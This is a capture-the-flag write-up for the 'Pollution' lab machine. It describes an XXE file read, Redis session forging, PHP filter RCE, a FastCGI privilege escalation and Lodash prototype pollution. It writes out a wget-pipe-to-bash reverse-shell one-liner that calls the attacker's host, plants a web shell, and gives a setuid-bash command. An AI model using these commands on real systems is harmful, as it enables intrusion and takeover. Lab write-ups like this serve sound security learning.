Pollution
XXE Injection for Arbitary File read to find creds, FastCGI RCE for user and Javascript Prototype Pollution for root.
Gaining Access
As usual, we start with an Nmap scan:
Redis and HTTP. Because Redis is there, I want to check if it is running any vulnerable version of the service, but further enumeration revealed that there was nothing to note.
Port 80
Heading to the web service, it is a standard company website.
Howeverm clicking on some objects reveals the [object Object]
tag, which is a string representation of a Javascript object data type. Playing around with the logins didn't reveal much to me. However, registering a test account and logging in revealed that there was an API somewhere, and that my username test
was printed on screen.
There could be an API backend, but I wasn't able to find it using normal means. Looking at the assets, I could see that this used jQuery 2.1.0. Wasn't of much use however.
Finding Subhosts
I knew that there was some hidden servers or something within the website, as the API hint was quite obvious. Understanding that the website was named 'Collect', I used collect.htb
as a domain and tried to fuzz vhosts.
Regular fuzzing did not do much for me, but when I fuzzed the HTTP Host header using wfuzz
, I was able to find some results.
We can add both of these to the /etc/hosts
file. The developers
subdomain requires a password to enter.
Forum
This was a forum page for users to write stuff, and there was some threads and a user that was active.
Reading some of the posts, I saw that there was indeed a Pollution API somewhere.
I created a test user to download that file. The file contained a load of base64 encoded requests and stuff. Reading the requests, we can see that there was one to the /admin panel on the main website.
Decoding the request, we find that it gives us a token.
By replacing the PHPSESSID with our own created user, we can become an administrator by sending the same POST request to the website.
From here, we can register our own user and gain access to the API stuff.
API
Reading the reques send to the API, we can see that this processes requests using XML.
XXE Injection for File read
We can try XXE Injection, however regular payloads do not work. We can bypass this by creating a DTD file and make the website send a GET request to process that file.
After some trial and error, I found that using the php://filter/
method worked through base64 encoding the stuff. I was able to read some of the files.
Payload used:
From here, I wanted to read the /var/www/developers/.htpasswd
file since we found a password on it earlier.
Using john
, we could crack the hash to give r0cket
as the password. We were confronted with another login page.
This time, we need to find credentials elsewhere. That redis
instance is likely where this password is hidden. We cannot read the /etc/redis
file without root permissions, so there likely is another file located somewhere.
I tried checking for config.php
files but was unable to find any. I knew that we had to go 'up' one directory because the current directory contained nothing, Some googling about Redis led me to the bootstrp.php
file, which worked. It was located at ../bootstrp.php
.
Redis
We can login via redis-cli
wth credentials.
Then, we can list the keys and other information within this database.
Seems that all of these keys are empty arrays, for some reason. I registered another user within the collect.htb
website to see if we can do any other things.
So we have this, and we need a way to authenticate ourselves. For this, we can set our role to admin
and also set a auth|s:1:\"a\"
bit, because this would grant us access to the developers
endpoint.
We can use this command to do so:
set PHPREDIS_SESSION:e50hu9lk5rkblb7tdlm3310fk4 "username|s:10:"testing123";role|s:5:"admin";auth|s:1:"a";"
Then, replace the cookie and login to the developers.collect.htb
endpoint.
RCE
The page
parameter in this website is rather suspicious, and we can try to fuzz for RCE / LFI weaknesses. The page itself has nothing to offer, and each time we go to a different site the page
parameter changes. This was rather suspicious, but I was unable to gain any form of LFI to read other files.
I assumed that there was some type of backend check for this parameter. I then found this on Hacktricks, that was essentially some type of PHP Filter bypass. This confirms that RCE is possible through that parameter.
This tool linked worked like a charm:
This had some form of length barrier that was crashing the request. As such, we can use PHP Shorthand Code, which is basically a short form for PHP code. This involves the usage of the <?=
tags. Then, since we have RCE, we can host the shell on my web server instead.
Testing this out, I used this command <?= `id` ?>.
This worked out pretty well as I was able to see the output here.
We can then replace the command with <?=`wget -O - 10.10.14.152/b|bash` ?>
Now, we have a reverse shell as www-data
.
Privilege Escalation to Victor
Victor was the only user on this machine, and we needed to find his credentials or something.
MySQL Creds
Within the ~/developers/login.php
file, I found some credentials.
It appears there was a MySQL Instance on the machine running. We can login to that using mysql -u webapp_user -p
.
Then, we can enumerate this database.
We can find a hash from the developers
database.
Couldn't crack the hash though.
Persistence
For some persistance, I dropped a cmd.php
shell into the forum
website, so that I can establish RCE at any given time.
PHP-FPM
I ran netstat -tulpn
to see what services were running on the machine, and found that port 9000 was listening to something.
I also ran LinPEAS to find some escalation vectors to victor. This user was also running the php-fpm
master process or something.
Further enumeration reveals that port 9000 was FastCGI, and this was vulnerable to RCE. Since Victor is running it, this is our privilege escalation vector. We just need to make a script that would give us another reverse shell.
Here's the script;
We can replace the command to get another reverse shell as needed.
From here, we can drop our public key into victor's .ssh folder to SSH in easily, and also grab the user flag.
Root Escalation
Within Victor's directory, there's a pollution_api
folder. The index.js
file specifies that there is this service running on port 3000.
Since this box was called pollution, I assumed that there was some Javascript pollution related exploit that would give us root. Within the controllers
directory, there was this Message_send.js
script.
So there was this _.merge
function being used. This function was vulnerable to a Lodash Merge Pollution attack, which allows for RCE as root.
Prototype pollution basically allows us to control the default values of the object's properties, and we can tamper with the application logic. Since there is an exec
function right after this that executes a pre-determined command, we can use this exploit to 'alter' the values passed into this.
This would allow us to change what is being executed. In this case, the root user is likely running this API, hence exploitation would allow for RCE as root.
Hacktricks has some examples of attacks that can be done using this.
Prototype Pollution
First, we would need to get a valid token to interact with the API. Earlier, we did register a user, and we just need to promote this user to an administrator.
We can do this with the MySQL instance we accessed earlier.
Now we can login as this user using our credentials.
This would give us a token, which is needed for the X-Access-Token
header. Reading the documentation for the API through accessing http://127.0.0.1:3000/documentation
, we can see that we need to send a POST request to /admin/mesages/send
to interact with the vulnerable function.
Now, we need to construct a paylaod that would pollute the exec
function that comes after. What we would want to do is first create a new 'shell' using /proc/self/exe
which would spawn another thread for us to execute the command we want. The only difficulty here is fitting it into a single JSON object, but the payload is available at Hacktricks under the execSync
exploit.
As such, we can construct this command:
This would call a child_process to execute chmod +s /usr/bin/bash
.
We are now root, and we can capture the root flag.